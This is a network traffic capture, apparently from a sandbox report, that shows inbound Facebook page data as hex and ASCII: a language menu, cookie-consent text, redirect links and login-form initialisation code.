2022-10-08 09:35:55 UTC	815	IN	Data Raw: 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 64 65 5f 44 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 2b 57 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 65 75 74 73 63 68 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 5f 47 42 22 2c 22 73 65 6c 65 63 74 65 64 22 Data Ascii: e":"headerItem"},{"class":"headerItem","value":"de_DE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_2_+W"},"label":"Deutsch","title":"","className":"headerItem"},{"class":"headerItem","value":"en_GB","selected"
2022-10-08 09:35:55 UTC	817	IN	Data Raw: 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 6c 5a 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4d 61 67 79 61 72 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6e 6c 5f 4e 4c 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 62 4b 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c Data Ascii: m":"__markup_3310c079_0_9_lZ"},"label":"Magyar","title":"","className":"headerItem"},{"class":"headerItem","value":"nl_NL","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_a_bK"},"label":"Nederlands","title":"","cl
2022-10-08 09:35:55 UTC	818	IN	Data Raw: 22 73 76 5f 53 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 68 5f 57 35 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 53 76 65 6e 73 6b 61 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 76 69 5f 56 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 Data Ascii: "sv_SE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_h_W5"},"label":"Svenska","title":"","className":"headerItem"},{"class":"headerItem","value":"vi_VN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"mar
2022-10-08 09:35:55 UTC	820	IN	Data Raw: 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6f 5f 45 53 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 36 32 37 5c 75 30 36 34 34 5c 75 30 36 33 39 5c 75 30 36 33 31 5c 75 30 36 32 38 5c 75 30 36 34 61 5c 75 30 36 32 39 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 68 69 5f 49 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 Data Ascii: :"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_o_ES"},"label":"\u0627\u0644\u0639\u0631\u0628\u064a\u0629","title":"","className":"headerItem"},{"class":"headerItem","value":"hi_IN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup
2022-10-08 09:35:55 UTC	821	IN	Data Raw: 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 62 32 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 5d 2c 7b 22 69 64 22 3a 22 75 5f 30 5f 36 5f 77 2b 22 2c 22 62 65 68 61 76 69 6f 72 73 22 3a 5b 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 57 69 74 68 53 71 75 61 72 65 43 6f 72 6e 65 72 22 7d 5d 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 5f 35 37 64 69 22 2c 22 6d 61 78 68 65 69 67 68 74 22 3a 35 30 30 2c 22 74 68 65 6d 65 22 3a 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 Data Ascii: enuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_v_b2"},"label":"\ud55c\uad6d\uc5b4","title":"","className":"headerItem"}],{"id":"u_0_6_w+","behaviors":[{"__m":"XUIMenuWithSquareCorner"}],"className":"_57di","maxheight":500,"theme":{"__m":"XUIMenu
2022-10-08 09:35:55 UTC	822	IN	Data Raw: 3a 22 43 6f 6e 74 65 78 74 75 61 6c 4c 61 79 65 72 50 6f 73 69 74 69 6f 6e 43 6c 61 73 73 4f 6e 43 6f 6e 74 65 78 74 22 7d 5d 2c 7b 22 61 6c 69 67 6e 68 22 3a 22 6c 65 66 74 22 2c 22 70 6f 73 69 74 69 6f 6e 22 3a 22 62 65 6c 6f 77 22 7d 5d 2c 32 5d 5d 2c 22 6d 61 72 6b 75 70 22 3a 5b 5b 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 6c 6c 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 34 2d 69 32 20 5f 70 69 67 20 5f 39 6f 2d 63 20 5f 39 70 6c 6c 20 5f 35 30 66 34 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 32 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 33 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c Data Ascii: :"ContextualLayerPositionClassOnContext"}],{"alignh":"left","position":"below"}],2]],"markup":[["__markup_9f5fac15_0_0_ll",{"__html":"\u003Cdiv>\u003Cdiv class=\"_4-i2 _pig _9o-c _9pll _50f4\">\u003Cdiv class=\"_9xl2\">\u003Cdiv class=\"_9xl3\">\u003Ci cl
2022-10-08 09:35:55 UTC	824	IN	Data Raw: 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 63 61 34 38 66 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 34 5c 22 3e 50 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 20 66 6f 72 20 70 65 6f 70 6c 65 20 77 68 6f 20 68 61 76 65 20 61 6e 20 61 63 63 6f 75 6e 74 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 30 5c 22 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 46 6f 72 20 61 64 76 65 72 74 69 73 69 6e 67 20 61 6e 64 20 6d 65 61 73 75 72 65 6d 65 Data Ascii: sp_eIIcaZAUeXq sx_ca48f2\">\u003C\/i>\u003Cdiv class=\"_9xo4\">Provide and improve Facebook Products for people who have an account\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9xo0\">\u003C\/div>\u003Cdiv>\u003Cdiv>For advertising and measureme
2022-10-08 09:35:55 UTC	825	IN	Data Raw: 63 6f 75 6e 74 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 49 66 20 79 6f 75 20 68 61 76 65 20 61 20 46 61 63 65 62 6f 6f 6b 20 61 63 63 6f 75 6e Data Ascii: count\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">If you have a Facebook accoun
2022-10-08 09:35:55 UTC	827	IN	Data Raw: 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 20 63 61 6e 20 72 65 76 69 65 77 20 79 6f 75 72 20 6f 66 66 2d 46 61 63 65 62 6f 6f 6b 20 61 63 74 69 76 69 74 79 2c 20 77 68 69 63 68 20 69 73 20 61 20 73 75 6d 6d 61 72 79 20 6f 66 20 61 63 74 69 76 69 74 79 20 74 68 61 74 20 62 75 73 69 6e 65 73 73 65 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 20 73 68 61 72 65 20 77 69 74 68 20 75 73 20 61 62 6f 75 74 20 79 6f 75 72 20 69 6e 74 65 72 61 63 74 69 6f 6e 73 20 77 69 74 68 20 74 68 65 6d 2c 20 73 75 63 68 20 61 73 20 76 69 73 69 74 69 6e 67 20 74 68 65 69 72 20 61 70 70 73 20 6f 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 20 75 73 65 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 Data Ascii: \u003C\/p>\u003Cp class=\"_9o-m\">You can review your off-Facebook activity, which is a summary of activity that businesses and organizations share with us about your interactions with them, such as visiting their apps or websites. They use our \u003Ca hr
2022-10-08 09:35:55 UTC	828	IN	Data Raw: 59 4d 49 57 6c 44 54 41 42 7a 57 4f 64 6a 39 45 37 6d 32 65 4a 33 49 6f 69 37 38 57 71 46 71 4f 49 51 5f 59 67 51 78 45 6c 73 30 2d 53 52 58 72 66 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 74 68 65 20 55 53 2c 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 Data Ascii: YMIWlDTABzWOdj9E7m2eJ3Ioi78WqFqOIQ_YgQxEls0-SRXrfw\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Digital Advertising Alliance\u003C\/a> in the US, the \u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fyouradchoi
2022-10-08 09:35:55 UTC	830	IN	Data Raw: 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 6f 70 74 6f 75 74 2e 61 62 6f 75 74 61 64 73 2e 69 6e 66 6f 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 31 72 38 55 46 6a 73 76 61 43 6c 7a 37 35 7a 30 37 46 62 39 73 65 30 31 4e 37 6c 31 62 7a 52 39 72 4d 5f 68 68 63 58 59 70 58 66 42 66 77 49 53 69 30 64 56 57 30 41 48 37 71 4c 52 59 70 4f 49 4b 33 32 36 6b 51 33 54 66 52 67 47 4c 56 33 56 71 57 63 63 67 36 6b 51 50 34 45 4f 2d 63 2d 50 6f 72 67 48 4c 36 68 4a 59 36 67 4e 48 4d 47 76 6b 7a 6f 48 71 69 31 31 48 65 32 42 71 4e 47 78 6a 38 49 4a 70 65 46 6e 6f 33 57 43 4f 30 4a 63 65 35 61 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 Data Ascii: /\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Foptout.aboutads.info\u00252F&h=AT1r8UFjsvaClz75z07Fb9se01N7l1bzR9rM_hhcXYpXfBfwISi0dVW0AH7qLRYpOIK326kQ3TfRgGLV3VqWccg6kQP4EO-c-PorgHL6hJY6gNHMGvkzoHqi11He2BqNGxj8IJpeFno3WCO0Jce5aw\" target=\"_b
2022-10-08 09:35:55 UTC	831	IN	Data Raw: 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 6f 72 20 64 65 76 69 63 65 20 6d 61 79 20 6f 66 66 65 72 20 73 65 74 74 69 6e 67 73 20 74 68 61 74 20 61 6c 6c 6f 77 20 79 6f 75 20 74 6f 20 63 68 6f 6f 73 65 20 77 68 65 74 68 65 Data Ascii: ss=\"_9ngg _9v7v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">Your browser or device may offer settings that allow you to choose whethe
2022-10-08 09:35:55 UTC	833	IN	Data Raw: 32 79 78 4a 4d 35 55 31 6b 43 38 6b 6f 61 69 79 4e 70 6b 6e 55 52 74 5f 30 31 49 74 78 4b 43 67 6d 50 57 38 7a 47 56 48 6f 47 30 36 6f 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 5c 75 30 Data Ascii: 2yxJM5U1kC8koaiyNpknURt_01ItxKCgmPW8zGVHoG06o\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Internet Explorer\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.mozilla.org\u0
2022-10-08 09:35:55 UTC	834	IN	Data Raw: 30 32 35 32 46 32 30 31 35 5c 75 30 30 32 35 32 46 30 38 5c 75 30 30 32 35 32 46 68 6f 77 2d 74 6f 2d 6d 61 6e 61 67 65 2d 63 6f 6f 6b 69 65 73 2d 69 6e 2d 6f 70 65 72 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 33 50 42 48 69 5f 32 62 38 70 61 41 58 4b 41 4c 61 44 55 4a 42 79 6f 5f 6a 69 34 45 69 42 72 78 34 53 66 77 53 32 2d 54 49 51 48 57 48 64 38 54 62 6e 56 63 4e 77 45 6e 6d 75 46 64 7a 4e 36 6c 69 43 46 57 64 4d 4e 41 68 78 41 56 70 52 48 41 4a 67 78 77 33 61 75 50 46 5f 55 31 73 5a 37 56 55 77 68 6d 67 54 57 50 6c 4d 59 67 71 62 6d 2d 71 6f 71 5a 4c 64 38 5f 71 69 66 7a 37 44 78 42 58 6b 5f 54 79 5f 64 34 70 6e 38 54 5a 53 34 6f 73 45 77 77 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c Data Ascii: 0252F2015\u00252F08\u00252Fhow-to-manage-cookies-in-opera\u00252F&h=AT3PBHi_2b8paAXKALaDUJByo_ji4EiBrx4SfwS2-TIQHWHd8TbnVcNwEnmuFdzN6liCFWdMNAhxAVpRHAJgxw3auPF_U1sZ7VUwhmgTWPlMYgqbm-qoqZLd8_qifz7DxBXk_Ty_d4pn8TZS4osEww\" target=\"_blank\" rel=\"nofoll
2022-10-08 09:35:55 UTC	836	IN	Data Raw: 30 63 30 37 39 5f 30 5f 37 5f 72 53 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 46 72 61 6e 5c 75 30 30 65 37 61 69 73 20 28 46 72 61 6e 63 65 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 38 5f 31 35 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 49 74 61 6c 69 61 6e 6f 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 39 5f 6c 5a 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4d 61 67 79 61 72 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 62 4b 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 62 5f 66 48 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 6f 72 73 Data Ascii: 0c079_0_7_rS",{"__html":"Fran\u00e7ais (France)"},1],["__markup_3310c079_0_8_15",{"__html":"Italiano"},1],["__markup_3310c079_0_9_lZ",{"__html":"Magyar"},1],["__markup_3310c079_0_a_bK",{"__html":"Nederlands"},1],["__markup_3310c079_0_b_fH",{"__html":"Nors
2022-10-08 09:35:55 UTC	837	IN	Data Raw: 5f 68 74 6d 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 39 39 39 39 5c 75 36 65 32 66 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 75 5f 41 6f 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 36 35 65 35 5c 75 36 37 32 63 5c 75 38 61 39 65 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 76 5f 62 32 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 5c 75 64 35 35 63 5c 75 61 64 36 64 5c 75 63 35 62 34 22 7d 2c 31 5d 5d 2c 22 65 6c 65 6d 65 6e 74 73 22 3a 5b 5b 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 4d 73 22 2c 22 75 5f 30 5f 30 5f 44 50 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 34 63 31 35 33 38 35 5f 30 5f 30 5f 4f 4b 22 2c 22 75 5f 30 5f 31 5f 46 50 22 Data Ascii: _html":"\u4e2d\u6587(\u9999\u6e2f)"},1],["__markup_3310c079_0_u_Ao",{"__html":"\u65e5\u672c\u8a9e"},1],["__markup_3310c079_0_v_b2",{"__html":"\ud55c\uad6d\uc5b4"},1]],"elements":[["__elem_072b8e64_0_0_Ms","u_0_0_DP",1],["__elem_94c15385_0_0_OK","u_0_1_FP"
2022-10-08 09:35:55 UTC	838	IN	Data Raw: 32 32 30 34 0d 0a 38 44 4d 55 37 4d 30 5a 70 22 2c 22 65 66 5f 70 61 67 65 22 3a 6e 75 6c 6c 2c 22 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 Data Ascii: 22048DMU7M0Zp","ef_page":null,"uri":"https:\/\/www.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u0
2022-10-08 09:35:55 UTC	840	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 2d 2d 73 61 6e 69 74 69 7a 65 64 2d 2d 22 7d 5d 5d 2c 5b 22 55 49 54 69 6e 79 56 69 65 77 70 6f 72 74 41 63 74 69 6f 6e 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 52 65 73 65 74 53 63 72 6f 6c 6c 4f 6e 55 6e 6c 6f 61 64 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 39 78 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 39 78 22 7d 5d 5d 2c 5b 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 57 65 62 56 69 72 74 75 61 6c 43 75 72 73 6f 72 Data Ascii: 0253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=--sanitized--"}]],["UITinyViewportAction","init",[],[]],["ResetScrollOnUnload","init",["__elem_a588f507_0_0_9x"],[{"__m":"__elem_a588f507_0_0_9x"}]],["AccessibilityWebVirtualCursor
2022-10-08 09:35:55 UTC	841	IN	Data Raw: 39 34 36 5f 30 5f 31 5f 53 65 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 31 5f 53 65 22 7d 5d 5d 2c 5b 22 4c 6f 67 69 6e 46 6f 72 6d 43 6f 6e 74 72 6f 6c 6c 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 38 33 35 63 36 33 33 61 5f 30 5f 30 5f 41 52 22 2c 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 4b 6b 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 38 33 35 63 36 33 33 61 5f 30 5f 30 5f 41 52 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 4b 6b 22 7d 2c 6e 75 6c 6c 2c 74 72 75 65 2c 7b 22 70 75 62 4b 65 79 22 3a 7b 22 70 75 62 6c 69 63 4b 65 79 22 3a 22 35 33 65 61 64 32 30 36 32 38 62 35 63 38 35 38 61 38 38 66 34 30 33 Data Ascii: 946_0_1_Se"],[{"__m":"__elem_f46f4946_0_1_Se"}]],["LoginFormController","init",["__elem_835c633a_0_0_AR","__elem_45d73b5d_0_2_Kk"],[{"__m":"__elem_835c633a_0_0_AR"},{"__m":"__elem_45d73b5d_0_2_Kk"},null,true,{"pubKey":{"publicKey":"53ead20628b5c858a88f403
